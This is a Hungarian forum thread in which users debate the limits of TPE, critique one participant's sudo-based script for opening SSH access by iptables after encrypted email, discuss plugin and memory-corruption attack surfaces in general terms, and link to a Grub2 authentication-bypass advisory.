Hú, ha ez jött le a hsz-eimből akkor az nagyon félrement. :-) Én erre az egy esetre a topicban, erre a bináris cuccra ami a témában van fókuszáltam. mert ez abszolút tényszerű, időben is stimmel, kvázi kézzelfogható, hogy úgy mondjam "ismert".

És jegyeztem meg a nyitó szálban, hogy mégis csak ér a TPE valamit ezek szerint. Ez a témában szereplő cucc azért nem használ ki a fentebb linkelt chrome-os sebezhetőséghez hasonló esetet, nem keres privilégiumemelésre lehetőséget, kernelbugot sem használ ki.

Egyszerű bináris fájl, felhasználói jogkörrel, amiből tjképpen 12 egy tucat.

Nyilván lehet hogy lesznek majd ilyen "chrome-hibát" kihasználó 60E USD-s valóban csodaszkriptek, igen, lehet hogy lesznek. most ebben az időben jelenleg publikusan széles körben (még) nincsenek.

lehet hogy holnap estére már lesznek, ki tudja, és akkor lehet röhögni popcorn-al vagy anélkül :-))

találkoztam olyannal, hogy a SUID-os bináris direktben hívott másik scriptet (bash-en keresztül), aminek a paramétereit lehet irányítani - ott pl a shellshock egész új értelmet nyert nálam)) és onnan meg már nyitott kapukon kell csak ki-be sétálgatni.

Hát itt én is alkalmazok a saját rendszeren egy enyhén sáros sudo szkriptet.
Ezért érdekelne elméleti síkon a véleményed, kritikád, ha szabad. :-)

/ ennyire amit írsz, talán nem sáros :-) / ez paraméterként ip címet fogad el , ami gpg-vel titkosított emailben jön netbook mobilnetről egyéb megkötésekkel (pl. amolyan időbélyeg, időkorlát is van), és iptables-n módosít, ezért kell a root jog sudo formában. :-)

tehát ha menet közben az emailt elfogják, és "újraküldik", a benne levő lejárt időbélyeg miatt pl. hatástalan.

Természetesen van eredmény ellenőrzés, titkosítás sikerességének ellenőrzése, ip cím formátum ellenőrzés, stb. :-)), de vagy ez van, vagy a nap 24 órájában nyitott az egyik port ssh-nak. /hitelesítés kulcsos /

Mert ezzel azért be tudom szűkíteni távolról, hogy mikor legyen nyitva, honnan engedje be a nagygép a netbookot. /dinamikus ip-k ipv4en, ipv6 nincs /

Az email mindenképpen szükségesnek tűnik, mert a nagygép email visszaigazolást küld a netbook email címére sikeres beállítás után, aminek forrása x-originating ip-ként tartalmazza a nagygép ip címét, akármennyire is dinamikus. Így tudom a netbookon hogy "kit keressek úgymond". :-)

A sáros rész ugye ott van, hogy mikor az ellenőrzés lezajlik, és az eredmény (ip cím), felhasználói kóddal / amelyik az emailt kapja / ki van írva az adott fájlba.
Majd elindul a sudo szkript , hogy ugyanezt a fájlt visszaolvassa, itt van némi elvi síkú probléma, ha a köztes időben a fájlt módosítja egy külső hatás / de akkor rohadt gyorsnak kell lennie /. ami mondjuk nem könnyű mert ez a felhasználói kód lokálisan sosem lép be, tehát külső kód futtatására nem könnyen lehet rávenni, hacsak a gpg-ben nincs olyan hiba, hogy ihaj, idegen kódot is futtat, meg még pluszban a dekódolást is elvégzi. :-)

Ez a felh. kód csak az adott feltételeknek megfelelően érkező email dekódolást végzi, meg ssh-n léphet be kulccsal, és akkor is amolyan sock proxyként üzemel.

ha biztonságtechnikailag ehhez van valami tipped/tippetek érdeklődéssel hallgatom. végül is én felettem már nagyon eljárt az idő ilyen téren ez tény. :-))

A másik sáros rész ott van, hogy a folyamatban túl sokféle eszközt/prg-t kell felhasználni. De ezen nem hiszem, tudok segíteni. túl komplex az igény.

--------

Nem vezetek...Jobb így. Nekem is
meg mindenki másnak is.

Svejk (az szokott ennyit feleslegesen beszélni :)). Kicsit szakadj már le a scriptekről pls, mert szerintem pont ez miatt gondolod, hogy védve vagy ; a valóságban külsős scriptek futtatására gyakran szükség sincs, mert maga a már futó program képes elintézni azt amit a támadó akar: Anno ezért is volt a flash közkedvelt támadási felület, mert nagyon sok lehetőséget adott különböző I/O műveletek végrehajtására, vagy akár system call-ra is.
Ha már volt fent a gépeden egy bármilyen böngésző alatt flash (vagy még régebben java) plugin, és azzal meglátogattál egy oldalt, amin egy ilyen kedves kis kód volt, akkor ott már a plugin maga intézte a piszkos munkát a letöltött adattal, nem kellett oda semmiféle script.
/* Különösen veszélyes ez olyan oldalaknál, ahol te magad előzőleg engedélyezted a noscriptnek, hogy hagyja csak futtatni az ilyen jellegű dolgokat (tipikusan youtube, videa, vagy bármi olyan aminek a futtatásához ezen plugin használata elengedhetetlen volt, és az emberek megbíztak benne), mert egy ilyen weboldal megtörése / eltérítése lényegében automatikusan szabad utat enged 1 támadónak, még a biztonság tudatosabb emberek esetén is */
Ezen kívül ne feledd azt se, hogy nem egy gép megtörése lehet a cél - simán a böngésződ által tárolt cookie-k ellopásával már elég nagy károkat lehet tenni azzal ha egy támadó megszemélyesít téged, vagy akár csak simán elkezdi monitorozni a tevékenységed (innen meg már a profil építés is egyszerűbb, és jó ideig valszeg észre se veszed)
Másik eset amikor egy külsőleg elérhető szervizt támadnak, és azt kényszerítik másfajta viselkedésre (szintén valahonnan - tipikusan network, vagy socket - kapott adat alapján, ami végig a memóriában marad). És a vicc ezeknél az, hogy itt se kell külön scriptet hívni, mert a memóriában már egy csomó minden amúgy is elérhető a program számára (tipikusan shared library-k), szóval ha a támadónak mázlija van simán elér egy csomó más funkciót is csak azzal, hogy a library megfelelő memória címét hívja be (ami mögött megfelelő API call csücsül), és annak ad át paraméterben valamit. Persze, ez ellen találták ki a memory randomisation-t, de nem 1 esetben láthattuk, hogy ennek megkerülésére is van lehetőség.

Ezek miatt is mondom, hogy a TPE nem csodaszer.. Igen véd bizonyos típusú támadások ellen, de közel sem az összes ellen (sőt, mi több a legtöbb ellen nem védi). Kb olyan, mint ha azt mondanád, hogy van egy qrva jó zárad (pl Abloy Protect, amit megpickelni még egy tapasztalt pickesnek is nagy kihívás), és teljes biztonsággal ott mered hagyni így a biciklid bárhol, mert ez a zár tutira megvédi, hogy ne lopják el. Közben meg a láncot fél perc alatt csempevágóval át lehet vágni, amihez hozzákötötted fémrúd kihúzható a helyéről (ergo a láncal együtt emelhető el a bicikli), vagy csak simán gyors záras a nyereg/kerék, és "csak" az tűnik el. Vagy ha ezek még mindig védve vannak, akkor simán csak a gumid lyukadhat ki "véletlenül" -> A biztonságot NEM egy tényező fogja neked szavatolni, hanem biztonsági szabályok egymásra rétegződése ahogy azt előzőleg leírtam. Ha bármelyik réteget meg lehet kerülni, akkor a többi is lehet, hogy hatástalanítható.
És azért is pörgök még mindig ezen, mert lehet, hogy nem tekinted a TPE-t csodaszernek, de valóban az jön le, hogy a többi biztonsági intézkedést meg közel sem tanulmányoztad ilyen közelről, és véletlenül se azt nézed, hogy milyen más támadási vektorok vannak ami ellen védekezned kéne (főleg, hogy van egy csomó ami ellen nem is tudsz, mert szimplán nem a te gépedet kell védeni, hanem mondjuk egy cloudban futó szolgáltatást, amiben te az érzékeny adataidat tárolod)

A sudo-s scriptedre rátérve (bár szerintem ez teljesen offtopic): Passz.. Az én esetemben se az volt a hiba amit a bináris csinált, hanem ahogy csinálta. Sőt, a legtöbb esetben pont ezen van a hangsúly, és ezekben a kis részletekben lehet komoly probléma forrásokat találni. Vagy az én saját kedvencem az amikor a kódot az ember jól megírja, de a fordító okosabbnak gondolja magát, és úgy értékeli/optimizálja ki a kódot, hogy a végleges binárisban már nincs bent az a védelem amit te beleírtál.
____________________________________
Az embert 2 éven át arra tanítják hogyan álljon meg a 2 lábán, és hogyan beszéljen... Aztán azt mondják neki: -"Ülj le és kuss legyen!"..

Köszönöm hsz-ed.

(tipikusan youtube, videa, vagy bármi olyan aminek a futtatásához ezen plugin használata elengedhetetlen volt, és az emberek megbíztak benne), mert egy ilyen weboldal megtörése / eltérítése lényegében automatikusan szabad utat enged 1 támadónak, még a biztonság tudatosabb emberek esetén is */

Ez ellen annyit tudtam tenni, hogy IRL adatokat igénylő tevékenységekre készítettem egy másik felhasználói fiókot, és onnan megy a netbankolás, rendelés, stb. böngészés, filmnézés, akármi meg erről.

Erről az userről, ha ki is szedi vki a cookie-t nem sokra megy vele (elvben). kiv. ki is szedi pl. az indexes, meg a hup.hu-s accot ha mákja van, puff. nagy kaland, egészségére. Elvben mondjuk nem volna szabad, hogy maradjon böngésző kilépés után, de hát elvben. :-D

Ezért lett volna jó laboratóriumi körülmények között megnézni egy chrome-hoz hasonló esetet, ami pl. akár firefox+flash kombónál fut, hogy lehet megfogni noscript nélkül, mert azt ugye sajnos le kell venni pl. doctor who részek esetén :-D eseti jelleggel /vidto pl./,
hátha van valami séma amire néhány támadási modell ráhúzható, de ezek szerint akkor nincs. És ha van séma, akkor valami védelmi módszeren is lehet elmélkedni.

Ha van egyéb védelmi ötlet, ne tartsd vissza !

A sudo-s scriptedre rátérve (bár szerintem ez teljesen offtopic): Passz..

Ha a passz arra vonatkozik, hogy nincs kapásból ötlet ellene, az végül is nekem nem olyan rossz. :-))

Pedig már készültem, hogy Hunger fél perc alatt leugatja valami egyszerű módszerrel ami elkerülte a figyelmemet, aztán ezzel akaratlanul is rákényszerít/ötletet ad, hogy javítsak rajta / ha tudok :-D /.

Inkább így derüljön fény a hibáira, minthogy élesben bukjon el. :-)

Bár kb, 1,5-2 éve megy ez a módszer erre a sajátos "dynamic ssh"-ra rendszeresen élesben , de ez nem jelent semmit. Mindig van új a nap alatt.

egy cloudban futó szolgáltatást, amiben te az érzékeny adataidat tárolod)

Egyszerű végfelhasználóként az ilyen felhős témákkal teljesen bizalmatlan vagyok.Saját akaratomból nem használom. Ha a netbank használ ilyet, akkor így jártam, de azt nem tudom védeni, a hiba ez esetben nem az én készülékemben van. :-)

Ha valami kell a nagygépről belépek ssh-n , oszt kész.minek felhő? Ha áramszünet van, akkor meg így jártam, oszt kész. ;-)

--------

Nem vezetek...Jobb így. Nekem is
meg mindenki másnak is.

"Erről az userről, ha ki is szedi vki a cookie-t nem sokra megy vele (elvben). kiv. ki is szedi pl. az indexes, meg a hup.hu-s accot ha mákja van, puff. nagy kaland, egészségére. Elvben mondjuk nem volna szabad, hogy maradjon böngésző kilépés után, de hát elvben. :-D"

Már ha feltételezed, hogy CSAK a böngészőn belül tud tevékenykedni (és nem tud mondjuk direkt FS-ről olvasni). Amúgy ha tényleg érdekel, hogy milyen típusú támadási vektorok vannak élőben is, akkor itt egy egész friss bug amit a Grub2ben találtak: http://hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html
A PoC lényegében leír egy komplett támadási lehetőséget, amely alapján (fizikai hozzáférése esetén) a támadó képes a teljes FS.-i adatokat eltulajdonítani (miután a felhasználó belépett és indított egy böngészőt)
____________________________________
Az embert 2 éven át arra tanítják hogyan álljon meg a 2 lábán, és hogyan beszéljen... Aztán azt mondják neki: -"Ülj le és kuss legyen!"..

Oscon, tudom, hogy onjelolt moderator vagyok, de kezd olyan iranyba elmenni a beszelgetes, amit fooldali cikk alatt talan megsem annyira jo tolni. Esetleg megteszitek azt, hogy nyittok erre kulon topicot, vagy atviszitek PM-be a beszelgetest? Amig szakmai volt a vita, erdekes volt (legalabbis nekem), de kezdenek elokerulni mas hangok is, ami viszont annyira nem ez ala a poszt ala valo.
--
Blog | @hron84
Üzemeltető macik